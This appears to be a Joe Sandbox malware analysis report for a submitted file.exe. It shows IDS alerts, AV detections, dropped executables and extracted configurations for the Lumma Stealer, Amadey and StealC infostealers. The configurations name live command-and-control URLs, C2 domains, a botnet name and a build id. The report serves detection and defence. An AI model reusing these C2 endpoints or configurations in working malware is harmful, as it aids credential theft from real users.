2024-10-21T10:47:18.685980+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49920	172.67.206.204	443	TCP
2024-10-21T10:47:30.075147+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49989	172.67.206.204	443	TCP
2024-10-21T10:47:33.152014+0200	2049836	1	A Network Trojan was detected	192.168.2.4	50011	172.67.206.204	443	TCP
2024-10-21T10:47:39.780445+0200	2049836	1	A Network Trojan was detected	192.168.2.4	50062	172.67.206.204	443	TCP
2024-10-21T10:48:06.112938+0200	2049836	1	A Network Trojan was detected	192.168.2.4	50131	172.67.206.204	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T10:46:05.113087+0200	2049812	1	A Network Trojan was detected	192.168.2.4	49732	172.67.206.204	443	TCP
2024-10-21T10:47:21.039011+0200	2049812	1	A Network Trojan was detected	192.168.2.4	49926	172.67.206.204	443	TCP
2024-10-21T10:47:32.011483+0200	2049812	1	A Network Trojan was detected	192.168.2.4	50001	172.67.206.204	443	TCP
2024-10-21T10:47:34.916692+0200	2049812	1	A Network Trojan was detected	192.168.2.4	50023	172.67.206.204	443	TCP
2024-10-21T10:47:41.967777+0200	2049812	1	A Network Trojan was detected	192.168.2.4	50076	172.67.206.204	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T10:47:16.827450+0200	2044696	1	A Network Trojan was detected	192.168.2.4	49906	185.215.113.43	80	TCP
2024-10-21T10:47:22.425216+0200	2044696	1	A Network Trojan was detected	192.168.2.4	49942	185.215.113.43	80	TCP
2024-10-21T10:47:27.443454+0200	2044696	1	A Network Trojan was detected	192.168.2.4	49968	185.215.113.43	80	TCP
2024-10-21T10:47:31.790592+0200	2044696	1	A Network Trojan was detected	192.168.2.4	50000	185.215.113.43	80	TCP
2024-10-21T10:47:36.460988+0200	2044696	1	A Network Trojan was detected	192.168.2.4	50036	185.215.113.43	80	TCP
2024-10-21T10:47:40.592295+0200	2044696	1	A Network Trojan was detected	192.168.2.4	50066	185.215.113.43	80	TCP
2024-10-21T10:47:44.761055+0200	2044696	1	A Network Trojan was detected	192.168.2.4	50095	185.215.113.43	80	TCP
2024-10-21T10:47:49.134706+0200	2044696	1	A Network Trojan was detected	192.168.2.4	50112	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T10:45:58.980936+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.4	63543	1.1.1.1	53	UDP
2024-10-21T10:47:16.324991+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.4	58327	1.1.1.1	53	UDP
2024-10-21T10:47:27.552128+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.4	51735	1.1.1.1	53	UDP
2024-10-21T10:47:37.279894+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.4	49761	1.1.1.1	53	UDP
2024-10-21T10:47:47.354402+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.4	50442	1.1.1.1	53	UDP
2024-10-21T10:48:03.728807+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.4	51661	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T10:45:58.880526+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.4	61015	1.1.1.1	53	UDP
2024-10-21T10:47:16.266114+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.4	50861	1.1.1.1	53	UDP
2024-10-21T10:47:26.650391+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.4	55330	1.1.1.1	53	UDP
2024-10-21T10:47:37.197097+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.4	62639	1.1.1.1	53	UDP
2024-10-21T10:47:47.286961+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.4	60777	1.1.1.1	53	UDP
2024-10-21T10:48:03.001649+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.4	58813	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T10:45:58.937817+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.4	49535	1.1.1.1	53	UDP
2024-10-21T10:47:16.300945+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.4	57887	1.1.1.1	53	UDP
2024-10-21T10:47:27.491117+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.4	58468	1.1.1.1	53	UDP
2024-10-21T10:47:37.235880+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.4	58462	1.1.1.1	53	UDP
2024-10-21T10:47:47.324974+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.4	50479	1.1.1.1	53	UDP
2024-10-21T10:48:03.702042+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.4	54381	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T10:45:58.907193+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.4	63985	1.1.1.1	53	UDP
2024-10-21T10:47:16.290202+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.4	56602	1.1.1.1	53	UDP
2024-10-21T10:47:27.477944+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.4	51599	1.1.1.1	53	UDP
2024-10-21T10:47:37.222221+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.4	49981	1.1.1.1	53	UDP
2024-10-21T10:47:47.313100+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.4	65366	1.1.1.1	53	UDP
2024-10-21T10:48:03.398868+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.4	50001	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T10:45:59.046271+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.4	63944	1.1.1.1	53	UDP
2024-10-21T10:47:16.347811+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.4	59482	1.1.1.1	53	UDP
2024-10-21T10:47:27.572028+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.4	64664	1.1.1.1	53	UDP
2024-10-21T10:47:37.315382+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.4	51151	1.1.1.1	53	UDP
2024-10-21T10:47:47.388175+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.4	51048	1.1.1.1	53	UDP
2024-10-21T10:48:03.753311+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.4	55131	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T10:45:58.890619+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.4	61906	1.1.1.1	53	UDP
2024-10-21T10:47:16.278260+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.4	59475	1.1.1.1	53	UDP
2024-10-21T10:47:27.465518+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.4	58510	1.1.1.1	53	UDP
2024-10-21T10:47:37.206892+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.4	50478	1.1.1.1	53	UDP
2024-10-21T10:47:47.299956+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.4	63767	1.1.1.1	53	UDP
2024-10-21T10:48:03.088510+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.4	63916	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T10:45:59.004585+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.4	61576	1.1.1.1	53	UDP
2024-10-21T10:47:16.335861+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.4	62263	1.1.1.1	53	UDP
2024-10-21T10:47:27.562563+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.4	58111	1.1.1.1	53	UDP
2024-10-21T10:47:37.303236+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.4	50724	1.1.1.1	53	UDP
2024-10-21T10:47:47.366154+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.4	58454	1.1.1.1	53	UDP
2024-10-21T10:48:03.739206+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.4	63560	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T10:45:58.957239+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.4	57459	1.1.1.1	53	UDP
2024-10-21T10:47:16.314031+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.4	61574	1.1.1.1	53	UDP
2024-10-21T10:47:27.521351+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.4	50400	1.1.1.1	53	UDP
2024-10-21T10:47:37.247162+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.4	55866	1.1.1.1	53	UDP
2024-10-21T10:47:47.336043+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.4	56503	1.1.1.1	53	UDP
2024-10-21T10:48:03.712911+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.4	54522	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T10:46:09.785984+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49733	172.67.206.204	443	TCP
2024-10-21T10:47:36.378466+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	50033	172.67.206.204	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T10:46:30.938512+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49746	185.215.113.37	80	TCP
2024-10-21T10:47:23.188555+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49947	185.215.113.37	80	TCP
2024-10-21T10:47:35.203072+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50025	185.215.113.37	80	TCP
2024-10-21T10:47:44.570038+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50091	185.215.113.37	80	TCP
2024-10-21T10:47:55.022324+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50121	185.215.113.37	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T10:47:04.881613+0200	2856147	1	A Network Trojan was detected	192.168.2.4	49834	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T10:47:15.896721+0200	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49850	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T10:47:08.257073+0200	2803305	3	Unknown Traffic	192.168.2.4	49855	185.215.113.16	80	TCP
2024-10-21T10:47:17.761441+0200	2803305	3	Unknown Traffic	192.168.2.4	49914	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T10:47:36.378466+0200	2843864	1	A Network Trojan was detected	192.168.2.4	50033	172.67.206.204	443	TCP
2024-10-21T10:47:53.323400+0200	2843864	1	A Network Trojan was detected	192.168.2.4	50116	172.67.206.204	443	TCP
2024-10-21T10:47:55.810308+0200	2843864	1	A Network Trojan was detected	192.168.2.4	50122	172.67.206.204	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-21T10:46:00.597483+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49730	104.102.49.254	443	TCP
2024-10-21T10:47:17.863158+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49908	104.102.49.254	443	TCP
2024-10-21T10:47:29.235206+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49978	104.102.49.254	443	TCP
2024-10-21T10:47:32.100786+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49998	104.102.49.254	443	TCP
2024-10-21T10:47:38.983434+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	50051	104.102.49.254	443	TCP
2024-10-21T10:47:49.040482+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	50109	104.102.49.254	443	TCP
2024-10-21T10:47:51.063450+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	50113	104.102.49.254	443	TCP
2024-10-21T10:48:05.278179+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	50130	104.102.49.254	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37

URL Reputation: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\B9LAVL77AEHW335N4SC7G6A3335WY1I.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000004.00000002.1984616145.0000000000D81000.00000040.00000001.01000000.00000006.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 28.2.a4769912c1.exe.ec0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 9b7d422018.exe.3408.27.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["licendfilteo.site", "dissapoiznw.store", "spirittunek.store", "bathdoomgaz.store", "mobbipenju.store", "eaglepawnoy.store", "clearancek.site", "studennotediw.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	ReversingLabs: Detection: 47%

Multi AV Scanner detection for submitted file

Source: file.exe	Virustotal: Detection: 46%			Perma Link
Source: file.exe	ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B9LAVL77AEHW335N4SC7G6A3335WY1I.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.222.236.23:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50062 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50104 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50110 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:50109 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50115 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50122 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:50127 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:50130 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe

Directory queried: number of queries: 1598

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_0021DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	6_2_0021DBBE
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_002268EE FindFirstFileW,FindClose,	6_2_002268EE
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_0022698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	6_2_0022698F
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_0021D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_0021D076
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Code function: 6_2_0021D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	6_2_0021D3A9
